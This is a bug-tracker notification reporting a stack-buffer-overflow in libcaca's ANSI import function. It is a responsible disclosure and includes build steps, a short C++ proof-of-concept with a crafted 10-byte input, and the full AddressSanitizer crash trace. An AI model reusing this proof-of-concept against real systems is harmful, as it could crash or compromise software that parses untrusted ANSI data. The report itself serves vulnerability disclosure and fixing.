** Changed in: libcaca
Status: Unknown => New
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https://bugs.launchpad.net/bugs/1925467
Title:
stack-buffer-overflow of text.c in function _import_ansi
Status in libcaca:
New
Status in libcaca package in Ubuntu:
Triaged
Bug description:
Hello ubuntu security team
issues: https://github.com/cacalabs/libcaca/issues/55
System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
libcaca version e4968ba
Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
or
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g
-fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2
-fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link
-fsanitize-coverage=bb"
$ make
3.Create the poc_ansi.cc && build
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>
using namespace std;
void crash(const uint8_t *Data, size_t Size) {
if(Size<8) return ;
size_t len=0;
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
caca_create_frame(cv,0);
caca_set_frame(cv,0);
caca_import_canvas_from_memory(cv,Data,Size,"ansi");
caca_free_canvas(cv);
cv=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc};
len = sizeof(buffer)/sizeof(unsigned char);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
crash((const uint8_t*)buffer,len);
return 0;
}
4.compile poc_ansi.cc
clang++ -g poc_ansi.cc -O2 -fno-omit-frame-pointer -fsanitize=address
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_ansi
5.Run poc_ansi
asan info:
=================================================================
==3763372==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7ffda0164bea at pc 0x7f098d82c310 bp 0x7ffda01647b0 sp 0x7ffda01647a8
READ of size 1 at 0x7ffda0164bea thread T0
#0 0x7f098d82c30f in _import_ansi
/home/hh/Downloads/libcaca/caca/codec/text.c:391:38
#1 0x4c6c72 in crash(unsigned char const*, unsigned long)
/home/hh/Downloads/libcaca/poc_bin.cc:21:3
#2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
#3 0x7f098d2780b2 in __libc_start_main
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d)
Address 0x7ffda0164bea is located in stack of thread T0 at offset 42 in frame
#0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28
This frame has 1 object(s):
[32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this
variable
HINT: this may be a false positive if your program uses some custom stack
unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow
/home/hh/Downloads/libcaca/caca/codec/text.c:391:38 in _import_ansi
Shadow bytes around the buggy address:
0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2
0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00
0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100034024970: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00[02]f3 f3
0x100034024980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100034024990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000340249a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000340249b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000340249c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3763372==ABORTING
Thanks
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